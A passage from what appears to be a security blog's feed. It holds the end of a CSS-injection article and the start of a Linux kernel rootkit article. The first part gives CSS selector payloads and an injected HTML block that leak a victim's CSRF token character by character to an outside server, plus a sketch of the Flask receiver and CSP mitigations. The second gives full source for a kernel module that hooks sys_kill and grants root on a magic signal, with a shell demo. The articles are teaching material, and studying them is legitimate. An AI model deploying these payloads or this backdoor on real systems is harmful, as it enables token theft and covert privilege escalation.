<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nt">style</span><span class="o">&gt;</span>
<span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s1">"csrf"</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"z"</span><span class="o">]</span> <span class="p">{</span>
    <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url("https://inferi.club/?token=z")</span>
<span class="p">}</span>
</code></pre></div></div>

<p><img src="/assets/img/articles/data-exfiltration-with-style-css/9.png" /></p>

<p>Given this scenario, it is possible to guess the user’s CSRF token from the CSS Injection. However, considering that in this lab the token has 5 characters and can be generated in the <code class="language-plaintext highlighter-rouge">a-z-0-9</code> format, this means we have a total of 36 characters for 5 positions, totaling 180 requests to be made. This number of requests can double, triple, or more depending on the entropy of the application’s CSRF token. If we wanted to discover the second character, we would have to do something like:</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nt">style</span><span class="o">&gt;</span>
<span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s1">"csrf"</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"za"</span><span class="o">]</span> <span class="p">{</span>
    <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url("https://inferi.club/?token=za")</span>
<span class="p">}</span>

<span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s1">"csrf"</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"zb"</span><span class="o">]</span> <span class="p">{</span>
    <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url("https://inferi.club/?token=zb")</span>
<span class="p">}</span>

<span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s1">"csrf"</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"zc"</span><span class="o">]</span> <span class="p">{</span>
    <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url("https://inferi.club/?token=zc")</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Besides the number of requests, the victim would also need to visit our profile at least 5 times, because we would need to manually edit our biography after each character is discovered, and that is assuming we guess each next character on the first try. Pretty unrealistic.</p>

<p>Fortunately, it is possible to work around this problem with style! (CSS). Instead of editing the biography 5 times, we are going to inject <b>5 <code class="language-plaintext highlighter-rouge">&lt;link&gt;</code> elements at once</b>, each link responsible for guessing one character:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"s0"</span> <span class="na">style=</span><span class="s">"width:1px;height:1px"</span><span class="nt">&gt;&lt;/div&gt;</span>
<span class="c">&lt;!-- … s1, s2, s3, s4 --&gt;</span>
<span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"https://inferi.club/css/0"</span><span class="nt">&gt;</span>
<span class="c">&lt;!-- … css/1, css/2, css/3, css/4 --&gt;</span>
</code></pre></div></div>

<p>Considering an environment where the target user uses the Chrome browser, this will work perfectly, because of the way Chrome handles <code class="language-plaintext highlighter-rouge">&lt;link&gt;</code> elements. The second <code class="language-plaintext highlighter-rouge">&lt;link&gt;</code>, for example, will only kick in when the rule from the first <code class="language-plaintext highlighter-rouge">&lt;link&gt;</code> is applied to the DOM. Our attack will work as follows:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/css/0</code>: Responds immediately with the 36 CSS selectors for position 0</li>
  <li><code class="language-plaintext highlighter-rouge">/css/1</code>: Waits until /css/0 arrives</li>
  <li><code class="language-plaintext highlighter-rouge">/css/2</code>: Waits until /css/1 arrives</li>
  <li><code class="language-plaintext highlighter-rouge">/css/3</code>: …</li>
</ul>

<p>For the attacker side, we are going to use a Flask server with three routes, each one with its respective functionality:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/css/&lt;pos&gt;</code>: Delivers the CSS for position N (and blocks until there is a match)</li>
  <li><code class="language-plaintext highlighter-rouge">/hit</code>: Receives the character that was discovered and unblocks the next route</li>
  <li><code class="language-plaintext highlighter-rouge">/reset</code>: Resets the result</li>
</ul>

<p>The <code class="language-plaintext highlighter-rouge">threading.Event()</code> function is a synchronization method for communication between multiple threads. It works like a semaphore that indicates whether a given action can proceed or not through boolean conditions. In summary, our Flask server will have the following structure:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Summarized code
</span><span class="n">TOKEN_LENGTH</span> <span class="o">=</span> <span class="mi">5</span>
<span class="n">CHARSET</span>      <span class="o">=</span> <span class="s">"abcdefghijklmnopqrstuvwxyz0123456789"</span>
<span class="n">TIMEOUT</span>      <span class="o">=</span> <span class="mi">60</span>

<span class="n">_lock</span>        <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Lock</span><span class="p">()</span>
<span class="n">_token_chars</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">_token_done</span>  <span class="o">=</span> <span class="bp">False</span>
<span class="n">_events</span>      <span class="o">=</span> <span class="p">[</span><span class="n">threading</span><span class="p">.</span><span class="n">Event</span><span class="p">()</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">TOKEN_LENGTH</span><span class="p">)]</span> <span class="c1"># Can be read as: _events = [Event() × 5]
</span>
<span class="c1"># Route to indicate the CHAR position
</span><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/css/&lt;int:pos&gt;"</span><span class="p">)</span>

<span class="c1"># Signals success based on C (char) and P (pos) and returns a 1px PNG for the background-image
</span><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/hit"</span><span class="p">)</span>
</code></pre></div></div>

<p>The server does not know the token in advance, it discovers it progressively while the target user is still on the page. Each event starts closed, and the <code class="language-plaintext highlighter-rouge">/css/0</code> route stays blocked on <code class="language-plaintext highlighter-rouge">_events[0].wait()</code> until the <code class="language-plaintext highlighter-rouge">/hit</code> route receives the matching character and calls <code class="language-plaintext highlighter-rouge">_events[0].set()</code>, releasing the next step. When the last character reaches the server, the token is complete and, from the target user’s point of view, nothing happened on the page.</p>

<p>To actually exploit the vulnerability now, we will go back to our biography and use the following payload:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"s0"</span> <span class="na">style=</span><span class="s">"width:1px;height:1px"</span><span class="nt">&gt;&lt;/div&gt;</span>
<span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"s1"</span> <span class="na">style=</span><span class="s">"width:1px;height:1px"</span><span class="nt">&gt;&lt;/div&gt;</span>
<span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"s2"</span> <span class="na">style=</span><span class="s">"width:1px;height:1px"</span><span class="nt">&gt;&lt;/div&gt;</span>
<span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"s3"</span> <span class="na">style=</span><span class="s">"width:1px;height:1px"</span><span class="nt">&gt;&lt;/div&gt;</span>
<span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"s4"</span> <span class="na">style=</span><span class="s">"width:1px;height:1px"</span><span class="nt">&gt;&lt;/div&gt;</span>
<span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"https://inferi.club/css/0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"https://inferi.club/css/1"</span><span class="nt">&gt;</span>
<span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"https://inferi.club/css/2"</span><span class="nt">&gt;</span>
<span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"https://inferi.club/css/3"</span><span class="nt">&gt;</span>
<span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"https://inferi.club/css/4"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<h3 id="proof-of-concept">Proof of Concept</h3>

<video src="/assets/img/articles/data-exfiltration-with-style-css/poc.mp4" controls="" muted="" loop=""></video>

<p>The video above demonstrates the process of the attacker (Firefox) inserting the payload into their biography and starting the malicious server. Then, the admin user (Google Chrome) accesses the attacker’s profile and, without any visible change on the page, has their CSRF token extracted and sent to the attacker’s server.</p>

<h2 id="mitigations---practical-example">Mitigations - Practical Example</h2>

<p>To fix the vulnerabilities presented, it is necessary to restrict the <code class="language-plaintext highlighter-rouge">style-src</code> policy to <code class="language-plaintext highlighter-rouge">style-src 'self'</code>, blocking the injection of external CSS, and the <code class="language-plaintext highlighter-rouge">img-src</code> policy to <code class="language-plaintext highlighter-rouge">img-src 'self'</code>, blocking exfiltration via image requests. Beyond that, it is important to create a whitelist of allowed HTML elements (<code class="language-plaintext highlighter-rouge">h1, p, b, i...</code>), to require the old password in the password change flow, and to adopt a CSRF token with adequate entropy, such as 32 characters.</p>

<p>There are other CSS exfiltration vectors, such as <code class="language-plaintext highlighter-rouge">@font-face</code>, <code class="language-plaintext highlighter-rouge">cursor: url()</code>, and <code class="language-plaintext highlighter-rouge">list-style-image</code>, but all of them depend on an insecure CSP policy in order to be exploited effectively. A well-configured CSP is, therefore, the main barrier against this class of attacks.</p>

<h2 id="references">References</h2>

<ul>
  <li>https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/What_is_CSS</li>
  <li>https://pt.stackoverflow.com/questions/40852/o-que-%C3%A9-dom-render-tree-e-node</li>
  <li>https://drafts.csswg.org/cssom/</li>
  <li>https://blog.logrocket.com/how-css-works-parsing-painting-css-in-the-critical-rendering-path-b3ee290762d3/</li>
  <li>https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy</li>
  <li>https://content-security-policy.com/</li>
  <li>https://portswigger.net/web-security/csrf</li>
  <li>https://xsleaks.dev/</li>
  <li>https://xsleaks.dev/docs/defenses/</li>
  <li>https://xsleaks.dev/docs/attacks/css-tricks/</li>
  <li>https://aszx87410.github.io/beyond-xss/en/ch3/css-injection/</li>
  <li>https://troopers.de/media/filer_public/47/19/4719cfce-8be9-4739-a7b4-42f9761a9fd6/tr12_day02_heiderich_got_ur_nose.pdf</li>
  <li>https://speakerdeck.com/masatokinugawa/shadow-dom-and-security-exploring-the-boundary-between-light-and-shadow</li>
  <li>https://docs.python.org/3/library/threading.html</li>
</ul>]]></content><author><name>dsm</name></author><category term="web" /><category term="css" /><summary type="html"><![CDATA[Information exfiltration with CSS selectors]]></summary></entry><entry><title type="html">The Art of Linux Kernel Rootkits</title><link href="https://inferi.club/blog/the-art-of-linux-kernel-rootkits/" rel="alternate" type="text/html" title="The Art of Linux Kernel Rootkits" /><published>2025-01-13T03:07:00+00:00</published><updated>2025-01-13T03:07:00+00:00</updated><id>https://inferi.club/blog/the-art-of-linux-kernel-rootkits</id><content type="html" xml:base="https://inferi.club/blog/the-art-of-linux-kernel-rootkits/"><![CDATA[<ul id="markdown-toc">
  <li><a href="#what-is-a-rooktit" id="markdown-toc-what-is-a-rooktit">What is a rooktit?</a>    <ul>
      <li><a href="#what-is-a-kernel-userland-and-kernel-land-differences" id="markdown-toc-what-is-a-kernel-userland-and-kernel-land-differences">What is a kernel? Userland and kernel land differences</a></li>
      <li><a href="#what-is-a-system-call" id="markdown-toc-what-is-a-system-call">What is a system call?</a></li>
      <li><a href="#user-land-rootkits" id="markdown-toc-user-land-rootkits">User-land Rootkits</a></li>
      <li><a href="#kernel-land-rootkits" id="markdown-toc-kernel-land-rootkits">Kernel-land Rootkits</a></li>
    </ul>
  </li>
  <li><a href="#modern-hooking-techniques" id="markdown-toc-modern-hooking-techniques">Modern hooking techniques</a>    <ul>
      <li><a href="#ftrace" id="markdown-toc-ftrace">FTrace</a></li>
      <li><a href="#kprobe" id="markdown-toc-kprobe">Kprobe</a></li>
      <li><a href="#ebpf" id="markdown-toc-ebpf">eBPF</a></li>
      <li><a href="#lkm" id="markdown-toc-lkm">LKM</a></li>
      <li><a href="#sysfs" id="markdown-toc-sysfs">sysfs</a></li>
      <li><a href="#procfs" id="markdown-toc-procfs">procfs</a></li>
      <li><a href="#logs" id="markdown-toc-logs">Logs</a></li>
      <li><a href="#rootkit" id="markdown-toc-rootkit">Rootkit</a></li>
    </ul>
  </li>
  <li><a href="#make-an-lkm-rootkit-visible" id="markdown-toc-make-an-lkm-rootkit-visible">Make an LKM rootkit visible</a></li>
  <li><a href="#making" id="markdown-toc-making">Making</a></li>
  <li><a href="#hiding" id="markdown-toc-hiding">Hiding</a></li>
  <li><a href="#persistence" id="markdown-toc-persistence">Persistence</a></li>
  <li><a href="#protecting" id="markdown-toc-protecting">Protecting</a></li>
  <li><a href="#the-power-of-ebpf-in-detecting-rootkits" id="markdown-toc-the-power-of-ebpf-in-detecting-rootkits">The power of eBPF in detecting rootkits</a></li>
  <li><a href="#final-considerations" id="markdown-toc-final-considerations">Final Considerations</a></li>
  <li><a href="#references" id="markdown-toc-references">References</a></li>
</ul>

<h2 id="what-is-a-rooktit">What is a rooktit?</h2>

<p>A rootkit is malware whose main objective and purpose is to maintain persistence within a system, remain completely hidden, hide processes, hide directories, etc., in order to avoid detection.</p>

<p>This makes its detection very complex, and its mitigation even more complex, since one of the main objectives of a rootkit is to remain hidden.</p>

<p>A rootkit, it changes the system’s default behavior to what it wants.</p>

<h3 id="what-is-a-kernel-userland-and-kernel-land-differences">What is a kernel? Userland and kernel land differences</h3>
<p>The kernel is the core of the operating system, responsible for managing system resources and facilitating communication between hardware and software. It operates at the lowest layer of the system, for example components that operate in kernel land include the kernel itself, device drivers and kernel modules (which we call Loadable Kernel Module, short for LKM).</p>

<p>On the other hand, the userland or userspace is the layer where user programs and applications are executed. This is the part of the OS that interacts with the user, including browsers, text editors, games, common programs that the user uses, etc.</p>

<h3 id="what-is-a-system-call">What is a system call?</h3>
<p>System calls (syscalls) are fundamental in OS, they allow running processes to request services from the kernel</p>

<p>These services include operations such as file management, inter-process communication, process creation and management, among others.</p>

<p>A very practical example is when we write code in C, a simple hello world, if we analyze it with strace for example, you will notice that it uses sys_write to be able to write Hello world.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">#</span> <span class="n">cat</span> <span class="n">hello</span><span class="p">.</span><span class="n">c</span> <span class="p">;</span> <span class="n">ls</span> <span class="n">hello</span>
<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Hello, World!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">hello</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">#</span> <span class="n">strace</span> <span class="p">.</span><span class="o">/</span><span class="n">hello</span> <span class="mi">2</span><span class="o">&gt;&amp;</span><span class="mi">1</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">write</span>

<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"Hello, World!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">14</span><span class="n">Hello</span><span class="p">,</span> <span class="n">World</span><span class="o">!</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">#</span>
</code></pre></div></div>

<p>You can also see that on the write side, it has a number 1, which is nothing less than an fd (file descriptor), which in this case is stdout, is the default output.</p>

<p>Another example is code in C to be able to rename a file to another name, in this example it is possible to see sys_rename being called.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">#</span> <span class="n">cat</span> <span class="n">ex</span><span class="p">.</span><span class="n">c</span> <span class="p">;</span> <span class="n">ls</span> <span class="n">ex</span>
<span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">rename</span><span class="p">(</span><span class="s">"change.me"</span><span class="p">,</span> <span class="s">"changed.me"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">ex</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">#</span> <span class="n">cat</span> <span class="n">change</span><span class="p">.</span><span class="n">me</span>
<span class="n">teste</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">#</span> <span class="n">strace</span> <span class="p">.</span><span class="o">/</span><span class="n">ex</span> <span class="mi">2</span><span class="o">&gt;&amp;</span><span class="mi">1</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">rename</span>

<span class="n">rename</span><span class="p">(</span><span class="s">"change.me"</span><span class="p">,</span> <span class="s">"changed.me"</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">#</span> <span class="n">ls</span>
<span class="n">changed</span><span class="p">.</span><span class="n">me</span>  <span class="n">ex</span>  <span class="n">ex</span><span class="p">.</span><span class="n">c</span>
<span class="n">root</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">#</span>
</code></pre></div></div>

<p>So, a system call is nothing more, nothing less than a communication interface between the user and the kernel, remembering that each syscall has a number, you can better see the syscalls in the system call table;</p>

<ul>
  <li><a href="https://filippo.io/linux-syscall-table/">https://filippo.io/linux-syscall-table/</a></li>
  <li><a href="https://www.ime.usp.br/~kon/MAC211/syscalls.html">https://www.ime.usp.br/~kon/MAC211/syscalls.html</a></li>
</ul>

<h3 id="user-land-rootkits">User-land Rootkits</h3>

<p>Rootkits in userland or userspace, some things are very similar to rootkits in kernel land, however, they are easier to detect and mitigate, as they are in userspace.</p>

<p>Generally, when creating a rootkit in userland, the most common technique to create a rootkit in userland is the use of LD_PRELOAD, which for example, basically consists of a .so (shared object), normally loaded in “/etc/ld.so .preload”, of course there are ways to make this detection a little more difficult, but even so, it is much easier to detect and mitigate a rootkit in userland than in kernel land.</p>

<p>A very interesting article that explains how creating a rootkit in userland works is from h0mbre;</p>

<ul>
  <li><a href="https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/">https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/</a></li>
</ul>

<h3 id="kernel-land-rootkits">Kernel-land Rootkits</h3>

<p>The rootkits in kernel land, the famous LKM (Loadable Kernel Module), are certainly a headache for anyone who is going to analyze a machine infected with an LKM rootkit, they work similar to the userland rootkit, changing the system’s default behavior, to that what he wants, this is also what we call hooking syscalls.</p>

<p>For example, when you are a regular user, without permission to access /root, among other files and directories in which you do not have permission, you can code an LKM that hooks the kill syscall “sys_kill”, so that every time when you return to the machine with a user with the lowest privilege possible, you are root (of course, as it is an LKM, you need to be root to load it).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">cat</span> <span class="n">hook</span><span class="p">.</span><span class="n">c</span>
<span class="cp">#include</span> <span class="cpf">&lt;linux/init.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/syscalls.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"ftrace_helper.h"</span><span class="cp">
</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">"et de varginha"</span><span class="p">);</span>
<span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">"Simples Hook na syscall kill"</span><span class="p">);</span>

<span class="k">static</span> <span class="n">asmlinkage</span> <span class="nf">long</span><span class="p">(</span><span class="o">*</span><span class="n">orig_kill</span><span class="p">)(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">pt_regs</span> <span class="o">*</span><span class="p">);</span>

<span class="k">static</span> <span class="n">asmlinkage</span> <span class="kt">int</span> <span class="nf">hook_kill</span><span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">pt_regs</span> <span class="o">*</span><span class="n">regs</span><span class="p">){</span>

        <span class="kt">void</span> <span class="n">SpawnRoot</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>

        <span class="kt">int</span> <span class="n">signal</span><span class="p">;</span>
        <span class="n">signal</span> <span class="o">=</span> <span class="n">regs</span><span class="o">-&gt;</span><span class="n">si</span><span class="p">;</span>

        <span class="k">if</span><span class="p">(</span><span class="n">signal</span> <span class="o">==</span> <span class="mi">59</span><span class="p">){</span>
                <span class="n">SpawnRoot</span><span class="p">();</span>
                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="n">orig_kill</span><span class="p">(</span><span class="n">regs</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">SpawnRoot</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
        <span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">newcredentials</span><span class="p">;</span>
        <span class="n">newcredentials</span> <span class="o">=</span> <span class="n">prepare_creds</span><span class="p">();</span>

        <span class="k">if</span><span class="p">(</span><span class="n">newcredentials</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">){</span>
                <span class="k">return</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">newcredentials</span><span class="o">-&gt;</span><span class="n">uid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">newcredentials</span><span class="o">-&gt;</span><span class="n">gid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">newcredentials</span><span class="o">-&gt;</span><span class="n">suid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">newcredentials</span><span class="o">-&gt;</span><span class="n">fsuid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">newcredentials</span><span class="o">-&gt;</span><span class="n">euid</span><span class="p">.</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

        <span class="n">commit_creds</span><span class="p">(</span><span class="n">newcredentials</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="k">struct</span> <span class="n">ftrace_hook</span> <span class="n">hooks</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
                <span class="n">HOOK</span><span class="p">(</span><span class="s">"__x64_sys_kill"</span><span class="p">,</span> <span class="n">hook_kill</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">orig_kill</span><span class="p">),</span>
<span class="p">};</span>

<span class="k">static</span> <span class="kt">int</span> <span class="n">__init</span> <span class="nf">mangekyou_init</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
        <span class="kt">int</span> <span class="n">error</span><span class="p">;</span>
        <span class="n">error</span> <span class="o">=</span> <span class="n">fh_install_hooks</span><span class="p">(</span><span class="n">hooks</span><span class="p">,</span> <span class="n">ARRAY_SIZE</span><span class="p">(</span><span class="n">hooks</span><span class="p">));</span>
        <span class="k">if</span><span class="p">(</span><span class="n">error</span><span class="p">){</span>
                <span class="k">return</span> <span class="n">error</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="n">__exit</span> <span class="nf">mangekyou_exit</span><span class="p">(</span><span class="kt">void</span><span class="p">){</span>
        <span class="n">fh_remove_hooks</span><span class="p">(</span><span class="n">hooks</span><span class="p">,</span> <span class="n">ARRAY_SIZE</span><span class="p">(</span><span class="n">hooks</span><span class="p">));</span>
<span class="p">}</span>

<span class="n">module_init</span><span class="p">(</span><span class="n">mangekyou_init</span><span class="p">);</span>
<span class="n">module_exit</span><span class="p">(</span><span class="n">mangekyou_exit</span><span class="p">);</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span>
</code></pre></div></div>

<p>The C code above is very simple, basically it declares a pointer to the original kill syscall function, so that it can be called after the hook.</p>

<p>It checks if the sigkill is 59, if so, it calls the “SpawnRoot” function which basically changes its current id to 0 i.e. root, otherwise the original kill syscall function is called.</p>

<p>Remembering that in the code above, I am using ftrace as a syscall hooking method.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">sudo</span> <span class="n">insmod</span> <span class="n">hook</span><span class="p">.</span><span class="n">ko</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">lsmod</span><span class="o">|</span><span class="n">grep</span> <span class="n">hook</span>
<span class="n">hook</span>                   <span class="mi">12288</span>  <span class="mi">0</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">id</span><span class="p">;</span><span class="n">whoami</span><span class="p">;</span><span class="n">cd</span> <span class="o">/</span><span class="n">root</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">1000</span><span class="p">(</span><span class="n">dumbledore</span><span class="p">)</span> <span class="n">gid</span><span class="o">=</span><span class="mi">1000</span><span class="p">(</span><span class="n">dumbledore</span><span class="p">)</span> <span class="n">grupos</span><span class="o">=</span><span class="mi">1000</span><span class="p">(</span><span class="n">dumbledore</span><span class="p">),</span><span class="mi">4</span><span class="p">(</span><span class="n">adm</span><span class="p">),</span><span class="mi">24</span><span class="p">(</span><span class="n">cdrom</span><span class="p">),</span><span class="mi">27</span><span class="p">(</span><span class="n">sudo</span><span class="p">),</span><span class="mi">30</span><span class="p">(</span><span class="n">dip</span><span class="p">),</span><span class="mi">46</span><span class="p">(</span><span class="n">plugdev</span><span class="p">),</span><span class="mi">100</span><span class="p">(</span><span class="n">users</span><span class="p">),</span><span class="mi">118</span><span class="p">(</span><span class="n">lpadmin</span><span class="p">)</span>
<span class="n">dumbledore</span>
<span class="n">cd</span><span class="o">:</span> <span class="n">permiss</span><span class="err">ã</span><span class="n">o</span> <span class="n">negada</span><span class="o">:</span> <span class="o">/</span><span class="n">root</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">kill</span> <span class="o">-</span><span class="mi">59</span> <span class="mi">0</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">whoami</span>
<span class="n">root</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span> <span class="n">id</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span> <span class="n">gid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span> <span class="n">egid</span><span class="o">=</span><span class="mi">1000</span><span class="p">(</span><span class="n">dumbledore</span><span class="p">)</span> <span class="n">grupos</span><span class="o">=</span><span class="mi">1000</span><span class="p">(</span><span class="n">dumbledore</span><span class="p">),</span><span class="mi">4</span><span class="p">(</span><span class="n">adm</span><span class="p">),</span><span class="mi">24</span><span class="p">(</span><span class="n">cdrom</span><span class="p">),</span><span class="mi">27</span><span class="p">(</span><span class="n">sudo</span><span class="p">),</span><span class="mi">30</span><span class="p">(</span><span class="n">dip</span><span class="p">),</span><span class="mi">46</span><span class="p">(</span><span class="n">plugdev</span><span class="p">),</span><span class="mi">100</span><span class="p">(</span><span class="n">users</span><span class="p">),</span><span class="mi">118</span><span class="p">(</span><span class="n">lpadmin</span><span class="p">)</span>
<span class="n">dumbledore</span><span class="err">@</span><span class="n">infect</span><span class="o">:~</span><span class="err">$</span>
</code></pre></div></div>

<p>Above, you can see that I used insmod (insert module) to load hook.ko (the .ko extension comes from kernel object, so we are inserting a kernel object).</p>

<p>After being inserted, I checked that the LKM was loaded using lsmod (list modules) and it was loaded successfully.</p>

<p>We can see that when using “kill -59 0”, it changes your current id to 0, i.e. root, and then you have root privileges.</p>

<p>So, this is one of the many ways to take advantage of the power of the kernel, hooking syscalls, changing the system’s default behavior to what you want.</p>

<p>Below are some blog links that provide really cool learning about LKM Rootkits</p>

<ul>
  <li><a href="https://xcellerator.github.io/tags/rootkit/">https://xcellerator.github.io/tags/rootkit/</a></li>
  <li><a href="https://blog.convisoappsec.com/linux-rootkits-hooking-syscalls/">https://blog.convisoappsec.com/linux-rootkits-hooking-syscalls/</a></li>
  <li><a href="http://www.ouah.org/LKM_HACKING.html">http://www.ouah.org/LKM_HACKING.html</a></li>
</ul>

<h2 id="modern-hooking-techniques">Modern hooking techniques</h2>

